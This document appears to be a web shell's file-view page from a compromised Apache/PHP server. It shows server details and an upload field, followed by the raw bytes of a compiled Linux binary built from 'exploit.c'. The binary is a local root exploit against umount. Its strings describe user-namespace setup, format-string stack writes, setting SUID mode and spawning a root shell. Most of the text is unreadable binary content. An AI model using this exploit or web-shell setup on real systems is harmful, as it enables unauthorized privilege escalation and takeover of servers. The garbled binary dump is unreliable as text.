|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ { @ 8 @ @ @ @ 8 8 8 Q Q ] ] ] ] ] ] T T T D D Ptd XN XN XN Qtd Rtd ] ] ] ( ( /lib64/ld-linux-x86-64.so.2 GNU GNU @a yúo3-> = 0 @= ? ĉݣkĹ@9 ; + ~ j L v , \ # A ' j I A S x P p 9 G U 0 [ " 6 ! b ! b b b libc.so.6 fchmod exit sprintf strncmp pipe nanosleep fork mkdir strtoll memchr kill strdup __assert_fail sched_yield symlink strlen memset __errno_location chdir read strndup dup2 poll fchown setresgid memcpy malloc realpath getgid clone getenv sscanf setresuid stderr getuid execve fwrite geteuid clock_gettime waitpid close open strchr fprintf __cxa_finalize mount memmove memmem strcmp strerror __libc_start_main snprintf free __environ __xstat __xmknod _ITM_deregisterTMCloneTable __gmon_start__ _Jv_RegisterClasses _ITM_registerTMCloneTable GLIBC_2.14 GLIBC_2.3 GLIBC_2.17 GLIBC_2.2.5 # ii
. 8 ui C ] ] a a b ? b H@ (b X@ 0b @ 8b @ @b @ Hb A Pb A Xb A `b A hb A pb A xb A _ _ _ # _ 3 _ 7 _ ; b ? b @ ` ` (` 0` 8` @` H` P` X`
`` h` p`
x` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` a a ! a " a $ a % (a & 0a ' 8a ( @a ) Ha * Pa + Xa , `a - ha . pa / xa 0 a 1 a 2 a 4 a 5 a 6 a 8 a 9 a : a < HHuL HtH 5L %L @ %L h %zL h %rL h %jL h %bL h %ZL h %RL h %JL h p%BL h `%:L h P%2L h
@%*L h 0%"L h %L h
%L h %
L h %L h %K h %K h %K h %K h %K h %K h %K h p%K h `%K h P%K h @%K h 0%K h %K h %K h %K h %K h %zK h! %rK h" %jK h# %bK h$ %ZK h% %RK h& %JK h' p%BK h( `%:K h) P%2K h* @%*K h+ 0%"K h, %K h- %K h. %
K h/ %K h0 %J h1 %J h2 %J h3 %J h4 %J h5 %I f 1I^HHPTLj( H
' H=" H D H=QK HQK UH)HHvH~H Ht ]f D ] @ f. H=K H5
K UH)HHHH?HHtHQH Ht ]f ] @ f. =K u'H='H UHt H=
J
H]J @ f. H=E H? u ^f D HG HtUH]@UHH HH HEH} / H
4 H5Y) H=\) FHH: HHEHUHHH)HЉEH} u)HHHdEEHHPHHHHEHHUHEL
( IȉH( HǸ E} ~"HI H2 H=( kDHPHEHHC& E} u%h% = uh@tHE2HEHHHHH HEH UHH0H}uHUHEHRE EHcHE
H3HEEEH} tHUHEH)HЉEHEEHcHEHHEEHcHMHEHHu=EHcHEH <=u)E+EHUHcHJHUHHH HEHEE)E} = UHH H=o' E} y
HH HHkH)HHHHHEHME HΉEE} y
MHEH& H]HwG HpG Hu MHEH& H2HLG HEG Ht)H9G H"G H5& HǸ UHSH H}Hu|HpHF H0EE REHH HEHH HËEHH HEHH HEЃEEE;|||P(EȋUȋEHHvHEEHcHE H+HEHEHEHPHU HEHEHPHU|HEHPHU HEHPHUHUHы|HcʉHEHPHU HEHPHUHUH ы|HcʉEHcHEHHEE } xEHH HEHH H$ HEHEHxEHEHPHUUHEHPHUHMHUH)HʉEHcHMHEHHEHHHEEE;|^E } xEHH HEHH HC HEHEHEHEHPHUUHEHPHUHMHUH)HʉEHcHMHEHHEHHHEEE;|^HUHEHH)UȋEHH9t H
. H5" H=g# E ?HEHPHUE E E E E UHcҋTE|;E}UȋEHpHEHĈ []UHH@H}HuHUȉMHEغ A HǸ E} y&H C HUH5" HǸ wHMUHuHEHHEEHcHMEHΉEE9Et H
- H5! H=" EHEHZ UHH0 HHE EHcHHо/ HHEH} tHUHH)HЉEHHfEHMHHIAHH" HǸ E} ~ H
, * H5 H=! H HE} t+l t H
n, , H5i H=! VEHcHH t EUHHs>uA Hn! H5m! H=`! eE} t H
, < H5 H=C! H=2! At H
+ = H5 H= ! H=! #E} y H
+ ? H5n H= [E WUHSH b? Z H"@ H H= ?HEH} u H
-+ O H5 H=! HEH HH= > > u@ HvH}? HH5 HǸ & > H`H5 HǸ H` HǸ Ẽ} y H
R* [ H5
H=r E̺ H5m $Eȃ} H
* ] H5 H=H Ẻ= H`H5. HǸ QH` HǸ Eă} y H
) b H5c H= PHH5 HǸ HHHHEHΉHEȃ} H
8) e H5 H=l Eĉ = H`H5w HǸ uH` HǸ <E} y H
( j H5 H=? tHH5 HǸ HHHHEHΉlEȃ} H
\( m H5 H= E* < H< H5 HǸ H(< H< H< HtxE RH< EHH H; HHH"u EHH H; HHx< !EEHH H; HHug; H`H* HǸ E} ~ H
B' H5 H=* H`HHEH} u H
' H5 H= HEH5 H+H; HHH`HH HǸ ME} ~ H
& H5U H= BH`HEHHH=; HHH`HHu HǸ EH`HEHHoH: HHH`HHS HǸ EH`HEHH%HUH`HH8 HǸ QE} ~ H
% H5Y H= FHW: HH H`HHE} t+ t H
J% H5 H= H= HEHUH`HH HǸ E} ~ H
$ H5 H= H` A HǸ
E} H
$ H5X H=L EHUH`HH; HǸ E} ~ H
K$ H5 H=3 EHcH`EHΉEEHEHH8 HHHUH`IHH HǸ hE} ~ H
# H5p H= ] HEH} u H
# H5< H= )HEHEH28 HH HEH5e HǸ HHEE !HE H5I HHEm} uHE D H5$ HǸ aHHEHE H H`HEHhH HpH HEH HEH HEH`HuH` HE} t H
]" H5 H={ HEHH
7 HHHUH`IHH HǸ E} ~ H
! H5 H= H` H] E} t+_ t H
! H5\ H= IH`H*Hc6 HD6 HHHUH`IHH HǸ EH`HH
6 HEH 5 HĘ []UHATSHPH}ȉuĉUHMDELME EE
E E 3EHH HEH E؋E;E~E;E}E؉EEE;E|Ń} yE E;Et@E+EEHcHEȉH HǸ E܋EHHEȋE)EċEEE \EHH HEH ;Eu=UEЍPEHcHEȉHn HǸ |E܋EHHEȋE)EăEE;E|} HE% EԋEHc}MԋUHEAAȉH
HǸ E܋EHHEȋE)EHEEԃ8)% EԋEHc}MԋUHEAAȉH HǸ E܋EHHEȋE)EċEXEDXEDPEDHED@ExED`EHcMUHESASARAQAPWAEH HǸ CH0E܋EHHEȋE)EĐHe[A\]UHH@H}HEHƿ VEHEH
HE} t H
j H H5 H=h HEȾ HǸ |E} xE KHEHƿ EHUHEH9~#HE HE HEо HhUHH E1 HHO ? HǸ HHkE} t H
h H5 H=y E} y H
n k H5 H=T } H1 H H=) = + HHE} t H
t H5J H= 7E EHHH\HEH} u H
y H5 H= EPUHH HEHH EPUHH HEHHT H$EPUHH HEHH= H} yH0 H H, H(H H0H H8H H@H HHH HPH HXH H`H HhH HpH HxH HH HH HH HH HH HH HH HH HH HHDž H HUH HHE} t H
H5 H=s EE E E EԉfDž }u H. HhE} EH' HE} u%Hq. H H= 8l tEH H)EHH HHΉE} u } } y%H- H H=1 EEE E t\ S E } EHcH H HKHEH} u} , EE EHUH H)HЃEZEHH HEHH HH5 HǸ VE} EEEE} t
E;E~} H, H/ H= H, H@HEHEH HH H HH HEHEH- HEHEH HH H HH HEHEHHEH), H}HuHMHUIIH5 HǸ HEH HHHPH HH HEHEH HcHEHHHEH HcHEHHHHH+ HUIH5 HǸ 4E HEHEH D@HEH pH}HUHEjHQIHщ HVHH+ HUH59 HǸ HEHPH5 HXH5 H`H] HpHh HxHo HEH* HPHp H<E} tOH
$ H5t H=
aE (HQ* UH5 HǸ P} fE+EHcЋEHH HH HH|E)E1+ EԉE E @EE;Et H
? H5 H=
EUHH H}H} uH= 2HEH} u H HEHEHEHE H) HMHEHHH) HUH5 HǸ UHH ,H H H HEE Zu3H( HUH5t HǸ g H0HH=] @ E} t H
c H5[ H= HLu
PteH-( HUH5 HǸ H=
EE E 9 H' HUH5 HǸ p < E " EPUHH H HH HE؋E;,u)H2' HUH5p HǸ T HEHH=b EPUHH H HH HM
HHq% u HE t*H& H H= e % )Hh& HUH5 HǸ E;,H0& HUH5 HǸ H!& Hu. t H% H/ H= H= BH% H% Hu,H= HtH= rH
H% H% Hu%H% H3 H=\ G" H
{% HT% HUH5m HǸ Eԃ} E
E EH% MЋUH5: HǸ oH0HH= Ẽ} t"H$ HY H= ?Lu)H$ H H=G XE /E;EQH\$ HG H=0 #j# ~>d# tV# * H$ HE H=- } u3H# H& H=O H= EE Ef. AWAVAAUATL% UH- SIIL)HH Ht 1 LLDAHH9uH[]A\A]A^A_Ðf. f. @ HH PHHL$HT$H1H HH Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
"9 (stretch)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A from_archive $ > O "16.04.3 LTS (Xenial Xerus)" ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A _nl_load_locale_from_archive & @
"18.3 (Sylvia)" exploit.c testPathName umount %.*s/%s Binary search path element too long, ignoring it.
/etc/os-release VERSION NAME Detected OS version: %s
nextCatalogueStringStart-catalogueData==preambleLength+contentLength Failed to open catalogue file %s for writing.
result==catalogueDataLength %s/%.*s result<PATH_MAX (!result)||(errno==EEXIST) tmpfs /tmp !result !chdir("/tmp") ready handle>=0 No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
stackData USERNS clone failed: %d (%s)
/proc/%d/setgroups setGroupsFd>=0 deny result>0 /proc/%d/uid_map uidMapFd>=0 0 %d 1
/proc/%d/gid_map gidMapFd>=0 Namespaced filesystem created with pid %d
/proc/%d/cwd namespaceMountBaseDir (unreachable)/x (unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES (unreachable)/tmp/%s/X.X/LC_MESSAGES (unreachable)/tmp/%s/X.x/LC_MESSAGES %s/(unreachable)/tmp/down !result||(errno==EEXIST) /proc/self/exe %s/DATEMSK handle>0 #!%s
unused %s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo stackDumpStr AA%%%d$lnAAAAAA %016lx %%1$%dhhx%%%d$hhn 1234 5678 %s: mountpoint not found %s: not mounted %s: target is busy
(In some cases useful info about processes that
use the device is found by lsof(8) or fuser(1).) %s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo %s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo %%1$%1$d.%1$ds %%%d$hn %%1$%d.%ds%%1$s%%1$s%%%d$hn %%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn -%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s
childPid>=0 Starting subprocess
umountEnv LC_ALL=C.UTF-8 AANGUAGE=X.X / down LABEL=78 LABEL=789 LABEL=789a LABEL=789ab LABEL=789abc LABEL=789abcd LABEL=789abcde LABEL=789abcdef LABEL=789abcdef0 Poll timed out
IO error talking to child
AAAAAAAA Stack content received, calculating next phase
Found source address location %p pointing to target address %p with value %p, libc offset is %p
Changing return address from %p to %p, %p
Using escalation string %s BBBB5678%3$s
BBBBABCD%s
Logic error, state %d
waitedPid==childPid SHELL /bin/sh Failed to launch shell %s
%s: you are already root, invoking shell ...
%s: internal invocation, setting SUID mode
%s: invoked as SUID, invoking shell ...
%s requires parameter
--Pid Invalid pid value
Unknown argument %s
%s: setting up environment ...
Failed to detect OS version, continuing anyway
/bin PATH Failed to locate "umount" binary, is PATH correct?
%s: using umount at "%s".
Attempting to gain root, try %d of %d ...
Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?
Executable now root-owned
Escalation FAILED, maybe target system not (yet) supported by exploit!
No namespace cleanup for preexisting namespaces yet, do it manually.
Cleanup completed, re-invoking binary
findUmountBinaryPathname createMessageCatalogueData writeMessageCatalogue createDirectoryRecursive usernsChildFunction prepareNamespacedProcess waitForTriggerPipeOpen attemptEscalation main ; ( 8 WX Hx h 6 $ H %p l (8 8P Hh zR x + zR x $ (p FJ w ?;*3$" D p \ AC
z | AC
AC
$ AC
H S AC
A AC
< $ . AC
$ D ~
AC
Hq
$ l R AC
Gw AC
\ AC
/ AC
B AC
= D e BBE B(H0H8M@r8A0A(B BBB \ t D Z `
? ] ] o
O ` P @ o o o o 8 o ] & 6 F V f v & 6 F V f v & 6 F V f v a ? H@ X@ @ @ @ A A A A A A A GCC: (Debian 6.3.0-18) 6.3.0 20170516 8 T t 8
P `
? ? XN O ] ] ] ] _ ` a b ] 0 p . D b S ] z ] b h `M M M M - ! A M Z N s N @N RN Q ] T ? q ? ] ] ] XN ` . ? > R ? Y k L0 } X a b / - b 8 ? 4 H [ n 0 |" ~
I ^ n ?9 0 + }/ B V a c w ! b a , ) b 8 ? G ] o ? w ? e b b \ + a s % b 1 9 B 6 J \ a q b . B b N h b } b b " `
b ! M A crtstuff.c __JCR_LIST__ deregister_tm_clones __do_global_dtors_aux completed.6963 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry exploit.c osSpecificExploitDataList __PRETTY_FUNCTION__.4763 __PRETTY_FUNCTION__.4814 __PRETTY_FUNCTION__.4830 __PRETTY_FUNCTION__.4839 usernsChildFunction __PRETTY_FUNCTION__.4848 __PRETTY_FUNCTION__.4853 __PRETTY_FUNCTION__.4909 __PRETTY_FUNCTION__.4919 __PRETTY_FUNCTION__.4972 __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini getenv@@GLIBC_2.2.5 __stat free@@GLIBC_2.2.5 attemptEscalation __errno_location@@GLIBC_2.2.5 strncmp@@GLIBC_2.2.5 _ITM_deregisterTMCloneTable mkdir@@GLIBC_2.2.5 osRelease clone@@GLIBC_2.2.5 clock_gettime@@GLIBC_2.17 setresuid@@GLIBC_2.2.5 _edata strlen@@GLIBC_2.2.5 mount@@GLIBC_2.2.5 chdir@@GLIBC_2.2.5 getuid@@GLIBC_2.2.5 setresgid@@GLIBC_2.2.5 dup2@@GLIBC_2.2.5 strchr@@GLIBC_2.2.5 symlink@@GLIBC_2.2.5 snprintf@@GLIBC_2.2.5 nanosleep@@GLIBC_2.2.5 __assert_fail@@GLIBC_2.2.5 memset@@GLIBC_2.2.5 prepareNamespacedProcess geteuid@@GLIBC_2.2.5 detectOsRelease close@@GLIBC_2.2.5 pipe@@GLIBC_2.2.5 invokeShell sched_yield@@GLIBC_2.2.5 memchr@@GLIBC_2.2.5 read@@GLIBC_2.2.5 strndup@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 findUmountBinaryPathname waitForTriggerPipeOpen execve@@GLIBC_2.2.5 __data_start strcmp@@GLIBC_2.2.5 strtoll@@GLIBC_2.2.5 fprintf@@GLIBC_2.2.5 __gmon_start__ memmem@@GLIBC_2.2.5 __dso_handle realpath@@GLIBC_2.3 getReleaseFileField memcpy@@GLIBC_2.14 createStackWriteFormatString umountPathname _IO_stdin_used __xmknod@@GLIBC_2.2.5 kill@@GLIBC_2.2.5 __mknod getgid@@GLIBC_2.2.5 __xstat@@GLIBC_2.2.5 __libc_csu_init malloc@@GLIBC_2.2.5 secondPhaseCataloguePathname sscanf@@GLIBC_2.2.5 killNamespacedProcessFlag writeMessageCatalogue __bss_start main fchmod@@GLIBC_2.2.5 poll@@GLIBC_2.2.5 namespacedProcessPid memmove@@GLIBC_2.2.5 waitpid@@GLIBC_2.2.5 open@@GLIBC_2.2.5 fchown@@GLIBC_2.2.5 _Jv_RegisterClasses createMessageCatalogueData __environ@@GLIBC_2.2.5 sprintf@@GLIBC_2.2.5 exit@@GLIBC_2.2.5 fwrite@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable osReleaseExploitData strdup@@GLIBC_2.2.5 strerror@@GLIBC_2.2.5 messageCataloguePreamble secondPhaseTriggerPipePathname __cxa_finalize@@GLIBC_2.2.5 fork@@GLIBC_2.2.5 stderr@@GLIBC_2.2.5 createDirectoryRecursive .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got.plt .data .bss .comment 8 8 # T T 1 t t $ D o 4 N V O ^ o 8 8 k o P z @ B P P ` ` p ( ? ? ? ? XN XN O O ] ] ] ] ] ] ] ] _ _ 0 ` ` a a b b X 0 b & b < q : z